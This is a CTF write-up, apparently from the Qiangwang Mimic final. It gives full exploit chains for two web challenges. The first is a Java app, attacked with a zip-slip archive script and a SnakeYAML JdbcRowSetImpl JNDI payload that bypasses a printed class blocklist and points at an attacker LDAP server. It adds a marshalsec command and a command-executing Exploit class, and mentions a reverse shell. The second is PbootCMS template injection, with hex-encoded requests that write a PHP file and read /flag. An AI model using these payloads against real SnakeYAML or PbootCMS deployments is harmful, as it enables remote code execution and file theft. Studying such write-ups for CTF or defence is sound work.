强网拟态Final-web Writeup

强网拟态Final-web Writeup

turn

先审计源码

 @PostMapping({"/upload"})
    public ResponseEntity<String> upload(@RequestParam("file") MultipartFile file) {
        if (!file.getOriginalFilename().endsWith(".zip")) {
            return ResponseEntity.status(HttpStatus.BAD_REQUEST).body("Only .zip files are allowed.");
        } else {
            File destinationFile = new File("/tmp/" + file.getOriginalFilename());

            try {
                file.transferTo(destinationFile);
                return ResponseEntity.ok("File uploaded successfully: " + destinationFile.getAbsolutePath());
            } catch (IOException var5) {
                IOException var4 = var5;
                IOException e = var4;
                return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("File upload failed: " + e.getMessage());
            }
        }
    }

    @PostMapping({"/unzip"})
    public ResponseEntity<String> unzip(@RequestParam("filename") String filename) {
        File zipFile = new File("/tmp/" + filename);
        if (zipFile.exists() && zipFile.getName().endsWith(".zip")) {
            File destDir = new File("/tmp/unzipped/");
            if (!destDir.exists()) {
                destDir.mkdirs();
            }

            try {
                ZipInputStream zipIn = new ZipInputStream(Files.newInputStream(zipFile.toPath()));
                Throwable var5 = null;

                ResponseEntity var21;
                try {
                    ZipEntry entry;
                    for(; (entry = zipIn.getNextEntry()) != null; zipIn.closeEntry()) {
                        File newFile = new File(destDir, entry.getName());
                        if (entry.isDirectory()) {
                            newFile.mkdirs();
                        } else {
                            (new File(newFile.getParent())).mkdirs();
                            Files.copy(zipIn, newFile.toPath(), new CopyOption[0]);
                        }
                    }

                    var21 = ResponseEntity.ok("File unzipped successfully to: " + destDir.getAbsolutePath());
                } catch (Throwable var17) {
                    Throwable var17 = var17;
                    var5 = var17;
                    throw var17;
                } finally {
                    if (zipIn != null) {
                        if (var5 != null) {
                            try {
                                zipIn.close();
                            } catch (Throwable var16) {
                                Throwable var16 = var16;
                                var5.addSuppressed(var16);
                            }
                        } else {
                            zipIn.close();
                        }
                    }

                }

                return var21;
            } catch (IOException var19) {
                IOException var19 = var19;
                IOException e = var19;
                return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("Unzipping failed: " + e.getMessage());
            }
        } else {
            return ResponseEntity.status(HttpStatus.BAD_REQUEST).body("File does not exist or is not a .zip file.");
        }
    public String handleYamlFile(@RequestParam String filename) throws Exception {
        if (filename != null && !filename.isEmpty() && !filename.contains("..")) {
            File file = new File("/opt/resources/" + filename);
            if (file.exists() && file.getAbsolutePath().startsWith((new File("/opt/resources/")).getAbsolutePath())) {
                Yaml yaml = new Yaml();
                FileInputStream inputStream = new FileInputStream(file);
                StringBuilder contentBuilder = new StringBuilder();
                InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
                BufferedReader bufferedReader = new BufferedReader(inputStreamReader);

                String line;
                while((line = bufferedReader.readLine()) != null) {
                    contentBuilder.append(line).append(System.lineSeparator());
                }

                String payload = contentBuilder.toString();
                String[] var10 = RISKY_STR_ARR;
                int var11 = var10.length;

                for(int var12 = 0; var12 < var11; ++var12) {
                    String riskyToken = var10[var12];
                    if (payload.contains(riskyToken)) {
                        System.out.println("Cannot have malicious remote script");
                        throw new IllegalArgumentException("File contains risky content.");
                    }
                }

                yaml.loadAs(payload, Object.class);
                return "hack it";
            } else {
                throw new IllegalArgumentException("File not found or access denied.");
            }
        } else {
            throw new IllegalArgumentException("Invalid filename.");
        }
    }

还有一个反序列化snakeyaml反序列化的黑名单

黑名单:

{"ScriptEngineManager", "URLClassLoader", "!!", "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};

审计源码发现存在一个上传接口,只能上传.zip文件,存在一个unzip路由。但是这个yaml反序列化所读的文件在/opt/resources/这个目录下。

我们整体思路是打包我们的恶意yaml文件为.zip,然后上传到/opt/resources文件下解压。然后进行snakeyaml发序列化rce

第一步

我们先看看什么yaml的payload能照成rce。发现没有ban掉JdbcRowSetImpl这个类,我们直接打jndi就行。

但是由于过滤了!!我们还要进行绕过

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191
!<tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl> {dataSourceName: ldap://10.222.3.17:1389/thc3no, autoCommit: true}

本地测试反弹计算机成功

python -m http.server 8000
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 1389
public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("calc.exe");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

第二步

想办法把yaml弄到/opt/resources下,然后进行反序列化

我们发现其实我们可以控制entry.getName()参数的

https://cloud.tencent.com/developer/article/2414196 和这个类似

import os
import zipfile


def zip_transformer(work_dir, file_to_zip_path, zip_entry_name, output_zip_path):
    # 确保工作目录存在
    if not os.path.exists(work_dir):
        os.makedirs(work_dir)

    # 创建zip文件,并添加文件
    with zipfile.ZipFile(output_zip_path, 'w') as zipf:
        # 将文件添加到zip中,使用自定义的文件名
        zipf.write(file_to_zip_path, zip_entry_name)


# 设置参数
work_dir = "E:\Download\work"
file_to_zip_path = "E:/Download/test.yaml"
zip_entry_name = "../../../opt/resources/opp1.yaml"  # 注意:在zip文件中,路径是从zip文件的根目录开始的
output_zip_path = "E:/Download/test020.zip"

# 调用函数
zip_transformer(work_dir, file_to_zip_path, zip_entry_name, output_zip_path)

然后我们可以通过上述脚本实现Zipslip。

最后直接反弹shell即可

Phootcms

https://guokeya.github.io/post/WscncUrcS/参考这个链接打这个洞

/?a=}{pboot{user:password}:if(("prin\x74_r")("\x41"));//)}xxx{/pboot{user:password}:if}
      
/?a=}{pboot{user:password}:if(phpcode);//)}xxx{/pboot{user:password}:if}
      

用上述payload发现全是undefined method

这里我们需要注意的是它这个题目把所有php官方的所有函数给ban掉了。类似java的remove method。

当时尝试了调用它本身框架源码中实现的函数。发现报错不是undefined method了。找找能rce的函数

尝试用这个函数来写文件发现确实可行

但是写上去的文件一样,不是报错就是写不上,写上了也只有一些无用的函数比如echo之类的

/usr/share/nginx/html/static/upload/3a.php这个路径是一个报错页面看到的。

GET /?a=}{pboot{user:password}:if(("create_file")("/usr/share/nginx/html/static/upload/3a.php","\x3c\x3f\x70\x68\x70\x20\x65\x63\x68\x6f\x20\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x2f\x66\x6c\x61\x67\x22\x29\x3b\x20\x3f\x3e"));//)}xxx{/pboot{user:password}:if} HTTP/1.1
Host: 172.25.3.8:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36

我们就继续寻找发现函数parse_info_tpl确实可以读取文件,但是不回显。我们在找一个可以回显的函数套一下

用下面payload直接读文件

GET /?a=}{pboot{user:password}:if(("json")(111,("\x70\x61\x72\x73\x65\x5f\x69\x6e\x66\x6f\x5f\x74\x70\x6c")("/flag","harder")));//)}xxx{/pboot{user:password}:if}  HTTP/1.1
Host: 172.25.3.8:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36